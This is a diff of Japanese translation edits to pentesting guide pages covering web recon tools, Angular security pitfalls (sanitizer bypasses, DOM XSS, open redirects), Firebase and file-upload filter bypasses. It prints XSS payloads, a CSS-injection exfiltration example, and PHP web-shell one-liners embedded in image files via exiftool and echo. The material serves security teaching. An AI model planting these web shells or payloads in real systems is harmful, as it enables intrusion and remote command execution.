||||
- 発見されたJSファイルを[**RetireJS**](https://github.com/retirejs/retire.js/)または[**JSHole**](https://github.com/callforpapers-source/jshole)で確認して、脆弱性があるかどうかを確認してください。
|
||||
- **JSファイル**: スパイダーリングセクションでは、JSファイルからパスを抽出できるいくつかのツールが言及されました。また、見つかった各JSファイルを**監視する**ことも興味深いでしょう。なぜなら、変更があった場合、潜在的な脆弱性がコードに導入されたことを示す可能性があるからです。たとえば、[**JSMon**](https://github.com/robre/jsmon)**を使用できます。**
|
||||
- 発見されたJSファイルを[**RetireJS**](https://github.com/retirejs/retire.js/)または[**JSHole**](https://github.com/callforpapers-source/jshole)で確認して、脆弱性があるかどうかを確認する必要があります。
|
||||
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/)、[https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io)、[http://jsnice.org/](http://jsnice.org)
|
||||
- **JsFuckのデオブフスケーション**(文字でのjavascript:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
||||
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- いくつかの場面で、使用されている**正規表現**を**理解する**必要があります。これは役立ちます: [https://regex101.com/](https://regex101.com)または[https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- いくつかの場面で、使用されている**正規表現**を**理解する**必要があります。これは役立ちます: [https://regex101.com/](https://regex101.com) または [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- **フォームが検出されたファイルを監視する**こともできます。パラメータの変更や新しいフォームの出現は、潜在的な新しい脆弱な機能を示す可能性があります。
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (バイパス)**
|
||||
@ -314,15 +314,15 @@ _ブルートフォースやスパイダーリング中に新しいディレク
|
||||
|
||||
認証を要求しているサーバーが**Windows**であるか、**資格情報**を要求するログインを見つけた場合(**ドメイン名**を要求する場合)、**情報漏洩**を引き起こすことができます。\
|
||||
**ヘッダーを送信します**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` そして、**NTLM認証の動作**により、サーバーは内部情報(IISバージョン、Windowsバージョン...)を「WWW-Authenticate」ヘッダー内で応答します。\
|
||||
このプロセスを**nmapプラグイン**"_http-ntlm-info.nse_"を使用して**自動化**できます。
|
||||
この操作は、**nmapプラグイン**"_http-ntlm-info.nse_"を使用して**自動化**できます。
|
||||
|
||||
**HTTPリダイレクト (CTF)**
|
||||
|
||||
**リダイレクション**内に**コンテンツ**を**挿入する**ことが可能です。このコンテンツは**ユーザーに表示されません**(ブラウザがリダイレクションを実行するため)が、そこに**隠された**ものがあるかもしれません。
|
||||
**リダイレクション**内に**コンテンツ**を**挿入**することが可能です。このコンテンツは**ユーザーに表示されません**(ブラウザがリダイレクションを実行するため)が、何かが**隠されている**可能性があります。
|
||||
|
||||
### ウェブ脆弱性のチェック
|
||||
|
||||
ウェブアプリケーションの包括的な列挙が行われたので、さまざまな可能性のある脆弱性をチェックする時が来ました。チェックリストはここにあります:
|
||||
ウェブアプリケーションの包括的な列挙が行われたので、さまざまな脆弱性をチェックする時が来ました。チェックリストはここにあります:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/web-vulnerabilities-methodology.md
|
||||
|
@ -14,7 +14,7 @@
|
||||
|
||||
## Angularとは
|
||||
|
||||
Angularは**強力**で**オープンソース**のフロントエンドフレームワークで、**Google**によって維持されています。**TypeScript**を使用してコードの可読性とデバッグを向上させます。強力なセキュリティメカニズムにより、Angularは**XSS**や**オープンリダイレクト**などの一般的なクライアントサイドの脆弱性を防ぎます。また、**サーバーサイド**でも使用できるため、**両方の視点**からセキュリティの考慮が重要です。
|
||||
Angularは、**Google**によって維持されている**強力な**かつ**オープンソース**のフロントエンドフレームワークです。**TypeScript**を使用してコードの可読性とデバッグを向上させます。強力なセキュリティメカニズムにより、Angularは**XSS**や**オープンリダイレクト**などの一般的なクライアントサイドの脆弱性を防ぎます。また、**サーバーサイド**でも使用できるため、**両方の視点**からセキュリティの考慮が重要です。
|
||||
|
||||
## フレームワークアーキテクチャ
|
||||
|
||||
@ -45,11 +45,11 @@ Angular NgModulesは、アプリケーションドメイン、ワークフロー
|
||||
|
||||
Angular `Router` NgModuleは、アプリケーション内の異なるアプリケーション状態とビュー階層の間でナビゲーションパスを定義できるサービスを提供します。`RouterModule`は`app-routing.module.ts`ファイルで定義されています。
|
||||
|
||||
特定のビューに関連付けられていないデータやロジックを共有したい場合は、サービスクラスを作成します。サービスクラスの定義は、`@Injectable()`デコレーターによって直前に示されます。このデコレーターは、他のプロバイダーを依存関係としてクラスに注入できるようにするメタデータを提供します。依存性注入(DI)により、コンポーネントクラスをスリムで効率的に保つことができます。これらはサーバーからデータを取得したり、ユーザー入力を検証したり、コンソールに直接ログを記録したりすることはなく、そのようなタスクをサービスに委任します。
|
||||
特定のビューに関連付けられていないデータやロジックを共有したい場合は、サービスクラスを作成します。サービスクラスの定義は、`@Injectable()`デコレーターによって直前に示されます。このデコレーターは、他のプロバイダーがクラスに依存関係として注入されることを可能にするメタデータを提供します。依存性注入(DI)により、コンポーネントクラスをスリムで効率的に保つことができます。これらはサーバーからデータを取得したり、ユーザー入力を検証したり、コンソールに直接ログを記録したりすることはなく、そのようなタスクをサービスに委任します。
|
||||
|
||||
## Sourcemap configuration
|
||||
|
||||
Angularフレームワークは、`tsconfig.json`オプションに従ってTypeScriptファイルをJavaScriptコードに変換し、その後`angular.json`構成でプロジェクトをビルドします。`angular.json`ファイルを見ると、ソースマップを有効または無効にするオプションがあることがわかりました。Angularのドキュメントによると、デフォルトの構成では、スクリプト用のソースマップファイルが有効になっており、デフォルトでは隠されていません。
|
||||
Angularフレームワークは、`tsconfig.json`オプションに従ってTypeScriptファイルをJavaScriptコードに変換し、その後`angular.json`構成でプロジェクトをビルドします。`angular.json`ファイルを見ると、ソースマップを有効または無効にするオプションがあることがわかりました。Angularのドキュメントによると、デフォルトの構成ではスクリプト用のソースマップファイルが有効になっており、デフォルトでは隠されていません。
|
||||
```json
|
||||
"sourceMap": {
|
||||
"scripts": true,
|
||||
@ -58,7 +58,7 @@ Angularフレームワークは、`tsconfig.json`オプションに従ってType
|
||||
"hidden": false
|
||||
}
|
||||
```
|
||||
一般的に、sourcemapファイルはデバッグ目的で使用され、生成されたファイルを元のファイルにマッピングします。したがって、プロダクション環境での使用は推奨されません。sourcemapsが有効になっている場合、Angularプロジェクトの元の状態を再現することで、可読性が向上し、ファイル分析に役立ちます。しかし、無効にされている場合、レビュアーはセキュリティ対策パターンを検索することで、コンパイルされたJavaScriptファイルを手動で分析することができます。
|
||||
一般的に、sourcemapファイルはデバッグ目的で使用され、生成されたファイルを元のファイルにマッピングします。したがって、プロダクション環境での使用は推奨されません。sourcemapsが有効になっている場合、Angularプロジェクトの元の状態を再現することで可読性が向上し、ファイル分析に役立ちます。しかし、無効にされている場合、レビュアーはアンチセキュリティパターンを検索することでコンパイルされたJavaScriptファイルを手動で分析できます。
|
||||
|
||||
さらに、AngularプロジェクトのコンパイルされたJavaScriptファイルは、ブラウザの開発者ツール → Sources(または Debugger and Sources) → \[id].main.js で見つけることができます。有効なオプションに応じて、このファイルの最後に `//# sourceMappingURL=[id].main.js.map` という行が含まれている場合もあれば、**hidden**オプションが**true**に設定されている場合は含まれていないこともあります。それにもかかわらず、**scripts**のsourcemapが無効になっている場合、テストはより複雑になり、ファイルを取得することはできません。さらに、プロジェクトビルド中にsourcemapを有効にすることができます。例えば、`ng build --source-map`のように。
|
||||
|
||||
@ -74,14 +74,14 @@ Angularフレームワークは、`tsconfig.json`オプションに従ってType
|
||||
|
||||
バインディングは、プロパティ、イベント、属性、およびソースディレクティブの任意のパブリックメンバーに対して呼び出すことができます:
|
||||
|
||||
| TYPE | TARGET | EXAMPLES |
|
||||
| タイプ | ターゲット | 例 |
|
||||
| --------- | -------------------------------------------------------- | -------------------------------------------------------------------- |
|
||||
| Property | Element property, Component property, Directive property | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
|
||||
| Event | Element event, Component event, Directive event | \<button type="button" (click)="onSave()">Save |
|
||||
| Two-way | Event and property | \<input \[(ngModel)]="name"> |
|
||||
| Attribute | Attribute (the exception) | \<button type="button" \[attr.aria-label]="help">help |
|
||||
| Class | class property | \<div \[class.special]="isSpecial">Special |
|
||||
| Style | style property | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
|
||||
| プロパティ | 要素プロパティ、コンポーネントプロパティ、ディレクティブプロパティ | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
|
||||
| イベント | 要素イベント、コンポーネントイベント、ディレクティブイベント | \<button type="button" (click)="onSave()">保存 |
|
||||
| 双方向 | イベントとプロパティ | \<input \[(ngModel)]="name"> |
|
||||
| 属性 | 属性(例外) | \<button type="button" \[attr.aria-label]="help">help |
|
||||
| クラス | クラスプロパティ | \<div \[class.special]="isSpecial">特別 |
|
||||
| スタイル | スタイルプロパティ | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
|
||||
|
||||
## Angularセキュリティモデル
|
||||
|
||||
@ -123,7 +123,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
|
||||
|
||||
### セキュリティトラストメソッドのバイパス
|
||||
|
||||
Angularは、デフォルトのサニタイズプロセスをバイパスし、特定のコンテキストで値が安全に使用できることを示すためのメソッドのリストを導入しています。以下の5つの例があります:
|
||||
Angularは、デフォルトのサニタイズプロセスをバイパスし、特定のコンテキストで値が安全に使用できることを示すためのメソッドのリストを導入しています。以下の5つの例のように:
|
||||
|
||||
1. `bypassSecurityTrustUrl`は、指定された値が安全なスタイルURLであることを示すために使用されます:
|
||||
|
||||
@ -132,10 +132,10 @@ Angularは、デフォルトのサニタイズプロセスをバイパスし、
|
||||
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');
|
||||
|
||||
//app.component.html
|
||||
<a class="e2e-trusted-url" [href]="trustedUrl">Click me</a>
|
||||
<a class="e2e-trusted-url" [href]="trustedUrl">クリックしてください</a>
|
||||
|
||||
//result
|
||||
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
|
||||
//結果
|
||||
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">クリックしてください</a>
|
||||
```
|
||||
2. `bypassSecurityTrustResourceUrl`は、指定された値が安全なリソースURLであることを示すために使用されます:
|
||||
|
||||
@ -146,20 +146,20 @@ this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https:/
|
||||
//app.component.html
|
||||
<iframe [src]="trustedResourceUrl"></iframe>
|
||||
|
||||
//result
|
||||
//結果
|
||||
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
|
||||
```
|
||||
3. `bypassSecurityTrustHtml`は、指定された値が安全なHTMLであることを示すために使用されます。`script`要素をこの方法でDOMツリーに挿入しても、含まれるJavaScriptコードが実行されることはありません。
|
||||
3. `bypassSecurityTrustHtml`は、指定された値が安全なHTMLであることを示すために使用されます。`script`要素をこの方法でDOMツリーに挿入しても、含まれるJavaScriptコードは実行されません。これは、これらの要素がDOMツリーに追加される方法によるものです。
|
||||
|
||||
```jsx
|
||||
//app.component.ts
|
||||
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");
|
||||
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>htmlタグ</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");
|
||||
|
||||
//app.component.html
|
||||
<p style="border:solid" [innerHtml]="trustedHtml"></p>
|
||||
|
||||
//result
|
||||
<h1>html tag</h1>
|
||||
//結果
|
||||
<h1>htmlタグ</h1>
|
||||
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
|
||||
```
|
||||
4. `bypassSecurityTrustScript`は、指定された値が安全なJavaScriptであることを示すために使用されます。ただし、このメソッドを使用してテンプレート内でJSコードを実行できなかったため、その動作は予測不可能であることがわかりました。
|
||||
@ -171,7 +171,7 @@ this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Sec
|
||||
//app.component.html
|
||||
<script [innerHtml]="trustedScript"></script>
|
||||
|
||||
//result
|
||||
//結果
|
||||
-
|
||||
```
|
||||
5. `bypassSecurityTrustStyle`は、指定された値が安全なCSSであることを示すために使用されます。以下の例はCSSインジェクションを示しています:
|
||||
@ -183,11 +183,11 @@ this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: u
|
||||
//app.component.html
|
||||
<input type="password" name="pwd" value="01234" [style]="trustedStyle">
|
||||
|
||||
//result
|
||||
Request URL: GET example.com/exfil/a
|
||||
//結果
|
||||
リクエストURL: GET example.com/exfil/a
|
||||
```
|
||||
|
||||
Angularは、ビューに表示する前にデータをサニタイズするための `sanitize` メソッドを提供しています。このメソッドは提供されたセキュリティコンテキストを使用し、入力を適切にクリーンアップします。ただし、特定のデータとコンテキストに対して正しいセキュリティコンテキストを使用することが重要です。例えば、HTMLコンテンツに対して `SecurityContext.URL` を適用すると、危険なHTML値に対する保護が提供されません。このようなシナリオでは、セキュリティコンテキストの誤用がXSS脆弱性を引き起こす可能性があります。
|
||||
Angularは、ビューに表示する前にデータをサニタイズするための `sanitize` メソッドを提供します。このメソッドは、提供されたセキュリティコンテキストを使用し、入力を適切にクリーンアップします。ただし、特定のデータとコンテキストに対して正しいセキュリティコンテキストを使用することが重要です。たとえば、HTMLコンテンツに `SecurityContext.URL` を適用すると、危険なHTML値に対する保護は提供されません。このようなシナリオでは、セキュリティコンテキストの誤用がXSS脆弱性を引き起こす可能性があります。
|
||||
|
||||
### HTMLインジェクション
|
||||
|
||||
@ -210,7 +210,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
|
||||
//app.component.html
|
||||
<div [innerHTML]="test"></div>
|
||||
```
|
||||
<div><h1>テスト</h1></div>
|
||||
<div><h1>test</h1></div>
|
||||
|
||||
### テンプレートインジェクション
|
||||
|
||||
@ -227,11 +227,11 @@ selector: 'app-root',
|
||||
template: '<h1>title</h1>' + _userInput
|
||||
})
|
||||
```
|
||||
上記のように、`constructor`はObject `constructor`プロパティのスコープを指し、Stringコンストラクタを呼び出して任意のコードを実行することを可能にします。
|
||||
上記のように、`constructor`はObjectの`constructor`プロパティのスコープを指し、Stringコンストラクタを呼び出して任意のコードを実行することを可能にします。
|
||||
|
||||
#### サーバーサイドレンダリング (SSR)
|
||||
|
||||
CSRがブラウザのDOMで発生するのに対し、Angular UniversalはテンプレートファイルのSSRを担当します。これらのファイルはユーザーに配信されます。この区別にもかかわらず、Angular UniversalはCSRで使用されるのと同じサニタイズメカニズムを適用してSSRのセキュリティを強化します。SSRにおけるテンプレートインジェクションの脆弱性は、使用されるテンプレート言語が同じであるため、CSRと同じ方法で検出できます。
|
||||
CSRがブラウザのDOMで発生するのに対し、Angular UniversalはテンプレートファイルのSSRを担当します。これらのファイルはユーザーに配信されます。この区別にもかかわらず、Angular UniversalはSSRのセキュリティを強化するためにCSRで使用されるのと同じサニタイズメカニズムを適用します。SSRにおけるテンプレートインジェクションの脆弱性は、使用されるテンプレート言語が同じであるため、CSRと同じ方法で検出できます。
|
||||
|
||||
もちろん、PugやHandlebarsなどのサードパーティのテンプレートエンジンを使用する際に、新しいテンプレートインジェクションの脆弱性が導入される可能性もあります。
|
||||
|
||||
@ -292,7 +292,7 @@ document.body.appendChild(a);
|
||||
```
|
||||
#### Angularクラス
|
||||
|
||||
AngularでDOM要素を操作するために使用できるクラスがいくつかあります:`ElementRef`、`Renderer2`、`Location`、および`Document`。最後の2つのクラスについての詳細な説明は、**Open redirects**セクションに記載されています。最初の2つの主な違いは、`Renderer2` APIがDOM要素とコンポーネントコードの間に抽象化の層を提供するのに対し、`ElementRef`は単に要素への参照を保持することです。したがって、Angularのドキュメントによれば、`ElementRef` APIはDOMへの直接アクセスが必要な場合の最後の手段としてのみ使用されるべきです。
|
||||
AngularでDOM要素を操作するために使用できるクラスがいくつかあります:`ElementRef`、`Renderer2`、`Location`、および`Document`。最後の2つのクラスについての詳細な説明は、**Open redirects**セクションに記載されています。最初の2つの主な違いは、`Renderer2` APIがDOM要素とコンポーネントコードの間に抽象化の層を提供するのに対し、`ElementRef`は単に要素への参照を保持することです。したがって、Angularのドキュメントによれば、`ElementRef` APIは、DOMへの直接アクセスが必要な場合の最後の手段としてのみ使用されるべきです。
|
||||
|
||||
* `ElementRef`には、DOM要素を操作するために使用できる`nativeElement`プロパティが含まれています。ただし、`nativeElement`の不適切な使用は、以下に示すようにXSSインジェクションの脆弱性を引き起こす可能性があります:
|
||||
|
||||
@ -315,7 +315,7 @@ this.elementRef.nativeElement.appendChild(s);
|
||||
}
|
||||
}
|
||||
```
|
||||
* `Renderer2`がネイティブ要素への直接アクセスがサポートされていない場合でも安全に使用できるAPIを提供するにもかかわらず、いくつかのセキュリティ上の欠陥があります。`Renderer2`を使用すると、`setAttribute()`メソッドを使用してHTML要素に属性を設定できますが、XSS防止メカニズムはありません。
|
||||
* `Renderer2`がネイティブ要素への直接アクセスがサポートされていない場合でも安全に使用できるAPIを提供するにもかかわらず、いくつかのセキュリティの欠陥があります。`Renderer2`を使用すると、`setAttribute()`メソッドを使用してHTML要素に属性を設定できますが、XSS防止メカニズムはありません。
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -371,11 +371,11 @@ this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 oner
|
||||
<button (click)="setProperty()">Click me!</button>
|
||||
```
|
||||
|
||||
私たちの研究の中で、`setStyle()`、`createComment()`、および`setValue()`などの他の`Renderer2`メソッドの動作もXSSおよびCSSインジェクションに関連して調査しました。しかし、これらのメソッドの機能的制限のため、有効な攻撃ベクターを見つけることはできませんでした。
|
||||
私たちの研究中に、`setStyle()`、`createComment()`、および`setValue()`などの他の`Renderer2`メソッドの動作もXSSおよびCSSインジェクションに関連して調査しました。しかし、これらのメソッドの機能的制限のため、有効な攻撃ベクターを見つけることはできませんでした。
|
||||
|
||||
#### jQuery
|
||||
|
||||
jQueryは、HTML DOMオブジェクトの操作を支援するためにAngularプロジェクトで使用できる、高速で小さく、機能豊富なJavaScriptライブラリです。しかし、知られているように、このライブラリのメソッドはXSS脆弱性を引き起こすために悪用される可能性があります。Angularプロジェクトで脆弱なjQueryメソッドがどのように悪用されるかを議論するために、このサブセクションを追加しました。
|
||||
jQueryは、HTML DOMオブジェクトの操作を助けるためにAngularプロジェクトで使用できる、迅速で小さく、機能豊富なJavaScriptライブラリです。しかし、知られているように、このライブラリのメソッドはXSS脆弱性を引き起こすために悪用される可能性があります。Angularプロジェクトで脆弱なjQueryメソッドがどのように悪用されるかを議論するために、このサブセクションを追加しました。
|
||||
|
||||
* `html()`メソッドは、一致した要素のセットの最初の要素のHTMLコンテンツを取得するか、すべての一致した要素のHTMLコンテンツを設定します。しかし、設計上、HTML文字列を受け入れるjQueryのコンストラクタやメソッドは、コードを実行する可能性があります。これは、`<script>`タグの注入や、コードを実行するHTML属性の使用によって発生する可能性があります。
|
||||
|
||||
@ -446,7 +446,7 @@ $palias.append(html);
|
||||
|
||||
#### DOMインターフェース
|
||||
|
||||
W3Cのドキュメントによると、`window.location`および`document.location`オブジェクトは、現代のブラウザではエイリアスとして扱われます。これが、いくつかのメソッドとプロパティの実装が似ている理由であり、これにより、以下に示すように`javascript://`スキーマ攻撃によるオープンリダイレクトやDOM XSSが引き起こされる可能性があります。
|
||||
W3Cのドキュメントによると、`window.location`および`document.location`オブジェクトは、現代のブラウザではエイリアスとして扱われます。これが、いくつかのメソッドやプロパティの実装が似ている理由であり、これにより、以下に示すように`javascript://`スキーマ攻撃によるオープンリダイレクトやDOM XSSが引き起こされる可能性があります。
|
||||
|
||||
* `window.location.href`(および`document.location.href`)
|
||||
|
||||
@ -481,7 +481,7 @@ window.location.assign("https://google.com/about")
|
||||
```
|
||||
* `window.location.replace()`(および`document.location.replace()`)
|
||||
|
||||
このメソッドは、現在のリソースを指定されたURLのものと置き換えます。
|
||||
このメソッドは、現在のリソースを提供されたURLのものと置き換えます。
|
||||
|
||||
`assign()`メソッドとの違いは、`window.location.replace()`を使用した後、現在のページがセッション履歴に保存されないことです。しかし、このメソッドを制御できる場合、オープンリダイレクトの脆弱性を悪用することも可能です。
|
||||
|
||||
@ -496,7 +496,7 @@ window.location.replace("http://google.com/about")
|
||||
```
|
||||
* `window.open()`
|
||||
|
||||
`window.open()`メソッドは、URLを受け取り、それが識別するリソースを新しいタブまたはウィンドウに読み込みます。このメソッドを制御することで、XSSまたはオープンリダイレクトの脆弱性を引き起こす機会も得られます。
|
||||
`window.open()`メソッドは、URLを受け取り、それが識別するリソースを新しいタブまたはウィンドウに読み込みます。このメソッドを制御できる場合、XSSまたはオープンリダイレクトの脆弱性を引き起こす機会があるかもしれません。
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -557,7 +557,7 @@ console.log(this.location.go("http://google.com/about"));
|
||||
}
|
||||
```
|
||||
|
||||
結果: `http://localhost:4200/http://google.com/about`
|
||||
結果:`http://localhost:4200/http://google.com/about`
|
||||
* Angularの`Router`クラスは主に同じドメイン内のナビゲーションに使用され、アプリケーションに追加の脆弱性を導入しません:
|
||||
|
||||
```jsx
|
||||
@ -566,7 +566,7 @@ const routes: Routes = [
|
||||
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]
|
||||
```
|
||||
|
||||
結果: `http://localhost:4200/https:`
|
||||
結果:`http://localhost:4200/https:`
|
||||
|
||||
以下のメソッドもドメインの範囲内でナビゲートします:
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Firebaseとは
|
||||
|
||||
Firebaseは主にモバイルアプリケーション向けのBackend-as-a-Serviceです。バックエンドのプログラミングの負担を軽減することに重点を置いており、使いやすいSDKやアプリケーションとバックエンドの相互作用を容易にする多くの興味深い機能を提供しています。
|
||||
Firebaseは主にモバイルアプリケーション向けのBackend-as-a-Serviceです。バックエンドのプログラミングの負担を軽減し、アプリケーションとバックエンドの相互作用を容易にする素晴らしいSDKやその他の興味深い機能を提供することに重点を置いています。
|
||||
|
||||
Firebaseの詳細については、以下を参照してください:
|
||||
|
||||
|
@ -18,10 +18,10 @@
|
||||
### ファイル拡張子チェックのバイパス
|
||||
|
||||
1. 適用される場合、**前の拡張子をチェック**します。また、いくつかの**大文字**を使用してテストします: _pHp, .pHP5, .PhAr ..._
|
||||
2. _実行拡張子の前に**有効な拡張子を追加**してチェックします(前の拡張子も使用):_
|
||||
2. _実行拡張子の前に**有効な拡張子を追加する**ことをチェックします(前の拡張子も使用):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. **特殊文字を末尾に追加**してみてください。Burpを使用してすべての**ascii**および**Unicode**文字を**ブルートフォース**することができます。 (_前述の**拡張子**も試すことができます_)
|
||||
3. **特殊文字を末尾に追加**してみてください。Burpを使用してすべての**ascii**および**Unicode**文字を**ブルートフォース**することができます。 (_前述の**拡張子**を使用することも試すことができます_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -51,7 +51,7 @@
|
||||
```
|
||||
# Linuxの最大255バイト
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # ここで4を引いて.pngを追加
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # ここで4を引き、.pngを追加
|
||||
# ファイルをアップロードし、許可される文字数の応答を確認します。236としましょう
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
@ -65,40 +65,40 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
1. Content-Type **ワードリスト**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- ファイルの先頭に**実際の画像のバイト**を追加して**マジックナンバー**チェックをバイパスします(_file_コマンドを混乱させます)。または、**メタデータ**内にシェルを挿入します:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` または、画像にペイロードを**直接挿入**することもできます:\
|
||||
`\` または、画像にペイロードを**直接挿入する**こともできます:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- 画像に**圧縮**が追加されている場合、たとえば、[PHP-GD](https://www.php.net/manual/fr/book.image.php)のような標準のPHPライブラリを使用している場合、前述の技術は役に立ちません。しかし、**PLTEチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮を**生き残る**テキストを挿入できます。
|
||||
- 画像に**圧縮が追加されている**場合、たとえば、[PHP-GD](https://www.php.net/manual/fr/book.image.php)のような標準のPHPライブラリを使用している場合、前述の技術は役に立ちません。しかし、**PLTEチャンク**を使用して、圧縮を**生き残る**テキストを挿入することができます。[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)
|
||||
- [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- ウェブページが画像を**リサイズ**している場合、たとえば、PHP-GD関数`imagecopyresized`または`imagecopyresampled`を使用している場合、前述の技術は役に立ちません。しかし、**IDATチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮を**生き残る**テキストを挿入できます。
|
||||
- ウェブページが画像を**リサイズ**している場合、たとえば、PHP-GD関数`imagecopyresized`または`imagecopyresampled`を使用している場合、前述の技術は役に立ちません。しかし、**IDATチャンク**を使用して、圧縮を**生き残る**テキストを挿入することができます。[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)
|
||||
- [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- 画像のリサイズを**生き残る**ペイロードを作成する別の技術として、PHP-GD関数`thumbnailImage`を使用します。しかし、**tEXtチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮を**生き残る**テキストを挿入できます。
|
||||
- 画像の**リサイズを生き残る**ペイロードを作成する別の技術として、PHP-GD関数`thumbnailImage`を使用します。しかし、**tEXtチャンク**を使用して、圧縮を**生き残る**テキストを挿入することができます。[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)
|
||||
- [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### その他のチェックするトリック
|
||||
|
||||
- アップロード済みのファイルの**名前を変更**する脆弱性を見つけます(拡張子を変更するため)。
|
||||
- **ローカルファイルインクルージョン**の脆弱性を見つけてバックドアを実行します。
|
||||
- アップロード済みのファイルの**名前を変更**する脆弱性を見つける(拡張子を変更するため)。
|
||||
- **ローカルファイルインクルージョン**の脆弱性を見つけてバックドアを実行する。
|
||||
- **情報漏洩の可能性**:
|
||||
1. **同じ名前**の**同じファイル**を**同時に**(複数回)アップロードします。
|
||||
2. **既存のファイル**または**フォルダ**の**名前**でファイルをアップロードします。
|
||||
